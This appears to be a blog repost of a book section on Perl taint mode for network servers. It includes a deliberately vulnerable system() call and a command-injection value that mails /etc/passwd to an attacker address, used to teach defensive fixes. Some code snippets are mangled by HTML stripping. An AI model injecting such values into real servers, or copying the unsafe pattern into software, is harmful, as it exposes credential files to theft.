Monday, October 19, 2009

Taint Mode
























Network
Programming with Perl
By
Lincoln D. Stein
Slots : 1
Table
of Contents
Chapter 14. 
Bulletproofing Servers






    Content







Taint Mode


Consider a hypothetical network server whose
job includes generating e-mail to designated recipients. Such
a server might accept e-mail addresses from a socket and pass
those addresses to the UNIX class=docEmphasis>Sendmail program. The code fragment
to do that might look like this:

chomp($email =<$sock>);
system "/bin/mail $email <Mail_Message.txt";

After reading the e-mail address from the
socket, we call system() to invoke class=docEmphasis>/usr/lib/sendmail with the desired
recipient's address as argument. The standard input to class=docEmphasis>sendmail is redirected from a canned
mail message file.


This script contains a security hole. A
malicious individual who wanted to exploit this hole could
pass an e-mail address like this one:

badguy@hackers.com </etc/passwd; cat >/dev/null

This would result in the following line being
executed by system():

/bin/mail badguys@hackers.com </etc/passwd; cat >/dev/null
<Mail_Message.txt

Because system() invokes a subshell
(a command interpreter such as class=docEmphasis>/bin/sh) to do its work, all shell
metacharacters, including the semicolon and redirection
symbols, are honored. Instead of doing what its author
intended, this command mails the entire system password file
to the indicated e-mail address!


This type of error is easy to make. One way
to alleviate it is to pass system() and
exec() a list of arguments rather than giving it the
command and its arguments as a single string. When you do
this, the command is executed directly rather than through a
shell. As a result, shell metacharacters are ignored. For
example, the fragment we just looked at can be made more
secure by replacing it with this:

chomp($email = <$sock>);
open STDIN, "Mail_Message.txt";
system "/bin/mail",$email;

We now call system() using two
separate arguments for the command name and the e-mail
address. Before we invoke system(), we reopen
STDIN on the desired mail message so that the
mail program inherits it.


Other common traps include creating or
opening files in a world-writable directory, such as
/tmp. A common intruder's trick is to create a
symbolic link leading from a file he knows the server will try
to write to a file he wants to overwrite. This is a problem
particularly for programs that run with root privileges.
Consider what would happen if, while running as root, the
psychiatrist server tried to open its PID file in
/usr/tmp/eliza.pid and someone had made a symbolic
link from that filename to /etc/passwd�the server
would overwrite thesystem file, with disastrous results. This
is one reason that our PID-file-opening routines always use a
mode that allows the attempt to succeed if the file does not
already exist.


Unfortunately, there are many other places
that such bugs can creep in, and it's difficult to identify
them all manually. For this reason, Perl offers a security
feature called "taint mode." Taint mode consists of a series
of checks on your script's data processing. Every variable
that contains data received from outside the script is marked
as tainted, and every variable that such tainted data touches
becomes tainted as well.


Tainted variables can be used internally, but
Perl forbids them from being used in any way that might affect
the world outside the script. For example, you can perform a
numeric calculation on some data received from a socket, but
you can't pass the data to the system() command.


Tainted data includes the following:




  • The contents of %ENV



  • Data read from the command line



  • Data read from a socket or filehandle



  • Data obtained from the backticks
    operator



  • Locale information



  • Results from the readdir() and
    readlink() functions



  • The gecos field of the
    getpw* functions, since this field can be set by
    users


Tainted data cannot be used in any function
that affects the outside world, or Perl will die with an error
message. Such functions include:




  • The single-value forms of the
    system() or exec() calls



  • Backticks



  • The eval() function



  • Opening a file for writing



  • Opening a pipe



  • The glob() function and glob
    (<*>) operator



  • The unlink() function



  • The unmask() function



  • The kill() function


The list form of system() and
exec() are not subject to taint checks, because they
are not passed to a shell. Similarly, Perl allows you to open
a file for reading using tainted data, although opening a file
for writing is forbidden.


In addition to tracking tainted variables,
taint mode checks for several common errors. One such error is
using a command path that is inherited from the environment.
Because system(), exec(), and piped open()
search the path for commands to execute under some conditions,
a malicious local user could fool the server into executing a
program it didn't intend to by altering the PATH
environment variable. Similarly, Perl refuses to run in taint
mode if any of the components of PATH are world
writable. Several other environment variables have special
meaning to the shell; in taint mode Perl refuses to run unless
they are deleted or set to an untainted value. These are
ENV, BASH_ENV, IFS, and CDPATH.


Using Taint Mode


Perl enters taint mode automatically if it
detects that the script is running in setuid or setgid mode.
You can turn on taint mode in other scripts by launching them
with the -T flag. This flag can be provided on the
command line:

perl -T eliza_root.pl

or appended to the #! line in the
script itself:

#!/usr/bin/perl -T

Chances are the first time you try this, the
script will fail at an early phase with the message
"Insecure path..." or "Insecure
dependency...
". To avoid messages about PATH and
other tainted environment variables, you need to explicitly
set or delete them during initialization. For the
psychotherapist server, we can do this during the
become_daemon() subroutine, since we are already
explicitly setting PATH:

sub become_daemon {
...
$ENV{PATH} = '/bin:/sbin:/usr/bin:/usr/sbin';
delete @ENV{'IFS', 'CDPATH', 'ENV', 'BASH_ENV'};
...
}

Having made this change, the psychotherapist
daemon seems to run well until one particular circumstance
arises. If the daemon is terminated abnormally, say by a class=docEmphasis>kill -9, the next time we try to run
it, the open_pid_file() routine will detect the
leftover PID file and check whether the old process is still
running by calling kill() with a 0
signal:

my $pid = $fh>; croak "Server already running with PID $pid" if kill 0 => $pid;

At this point, however, the program aborts
with the message:

Insecure dependency in kill while running with -T switch at 
Daemon.pm line 86.

The reason for this error is clear. The value
of $pid was read from the leftover PID file, and
since it is from outside the script, is considered tainted.
kill() affects the outside world, and so is
prohibited from operating on tainted variables. In order for
the script to work, we must somehow untaint $pid.


There is one and only one way to untaint a
variable. You must pattern match it using one or more
parenthesized subexpressions and extract the subexpressions
using the numbered variables $1, $2, and so forth.
Seemingly equivalent operations, such as pattern substitution
and assigning a pattern match to a list, will not work. Perl
assumes that if you explicitly perform a pattern match and
then refer to the numbered variables, then you know what
you're doing. The extracted substrings are not considered
tainted and can be passed to kill() and other unsafe
calls. In our case, we expect $pid to contain a
positive integer, so we untaint it like this:

sub open_pid_file {
...
my $pid = $fh>;
croak "Invalid PID file" unless $pid =~ /^(\d+)$/;
croak "Server already running with PID $1" if kill 0 => $1;
...
}

We pattern match $pid to
/^(\d+)$/and die if it fails. Otherwise, we call
kill() to send the signal to the matched expression,
using the untainted $1 variable. We will use taint
mode in the last iteration of the psychotherapist server at
the end of this chapter.


As this example shows, even tiny programs
like the psychotherapist server can contain security holes
(although in this case the holes were very minor). Taint mode
is recommended for all nontrivial network applications,
particularly those running with superuser privileges.









       




    Top

    No comments:

    Post a Comment